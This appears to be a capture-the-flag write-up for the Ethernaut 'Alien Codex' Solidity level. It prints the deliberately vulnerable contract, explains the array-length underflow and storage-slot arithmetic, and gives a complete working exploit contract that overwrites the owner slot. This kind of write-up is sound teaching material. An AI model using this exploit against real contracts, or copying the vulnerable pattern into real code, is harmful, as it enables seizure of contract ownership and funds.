Page cover image

Alien Codex

dynamic array

Description

You've uncovered an Alien contract. Claim ownership to complete the level.

Things that might help:

  • Understanding how array storage works

  • Understanding ABI specifications

  • Using a very underhanded approach

Code Audit

// SPDX-License-Identifier: MIT
pragma solidity ^0.5.0;

import '../helpers/Ownable-05.sol';

contract AlienCodex is Ownable {

  bool public contact;
  bytes32[] public codex;

  modifier contacted() {
    assert(contact);
    _;
  }
  
  function make_contact() public {
    contact = true;
  }

  function record(bytes32 _content) contacted public {
    codex.push(_content);
  }

  function retract() contacted public {
    codex.length--;
  }

  function revise(uint i, bytes32 _content) contacted public {
    codex[i] = _content;
  }
}

The objective is to claim ownership of the challenge contract, but how? Hint: the first state variable of '../helpers/Ownable-05.sol' is owner and this state variable is inherited by contract AlienCodex. Our objective is to overwrite this owner state variable.

Which slot does owner reside? The state variable ordering in inheritance is explained in this post:

In Solidity, how does the slot assignation work for storage variables when there's inheritance?

codex is a dynamic array. This challenge is all about dynamic array storage layout. This blog explains this topic perfectly:

Understanding Ethereum Smart Contract Storage

Challenge contract provides three functionalities to manipulate it:

  • record(): push to codex

  • retract(): pop from codex -> length-- is the old fashion way of "pop" before Solidity v0.8

  • revise(): overwrite an entry of codex

Solution

First thing we have to do is calling make_contact(). This will set contact to true so that we can proceed.

Before Solidity v0.8, integer overflow/underflow is a thing. Note that the length of codex can underflow. At beginning the length of codex is 0. If we call retract(), the length becomes -1, which is 225612^{256} - 1 after underflow. Now we can treat codex as a dynamic array with arbitrary length.

Since codex can be long enough, it is possible to write to a specific index of codex such that storage slot 0 is overwritten. This can be done using the function revise, which is basically a powerful arbitrary write function:

  function revise(uint i, bytes32 _content) contacted public {
    codex[i] = _content;
  }

Next, we are going to deduce which i to write:

slot 0: owner (20 bytes) + contact (1 byte)
slot 1: codex.length
...
slot h (h = keccak(1)): codex[0]
slot h+1: codex[1]
slot h+2: codex[2]
...
slot h+i <=> slot 0: codex[i] <=> owner

=> i = 0 - h

The solution contract is easy to write:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IAlienCodex {
    function owner() external view returns (address);
    function make_contact() external;
    function record(bytes32) external;
    function retract() external;
    function revise(uint256, bytes32) external;
}

contract AlienCodexHack {
    constructor(IAlienCodex challenge) {
        // contact = true;
        challenge.make_contact();

        // codex.length = 2**256 - 1;
        challenge.retract();

        // Overwrite codex[i] <=> slot 0
        uint256 h = uint256(keccak256(abi.encode(uint256(1))));
        uint256 i;
        unchecked {
            i = 0 - h;
        }
        challenge.revise(i, bytes32(uint256(uint160(msg.sender))));

        // Verify if we are the owner now
        require(challenge.owner() == msg.sender, "Failed.");
    }
}

Summary

This level exploits the fact that the EVM doesn't validate an array's ABI-encoded length vs its actual payload.

Additionally, it exploits the arithmetic underflow of array length, by expanding the array's bounds to the entire storage area of 2^256. The user is then able to modify all contract storage.

Both vulnerabilities are inspired by 2017's Underhanded coding contest

Last updated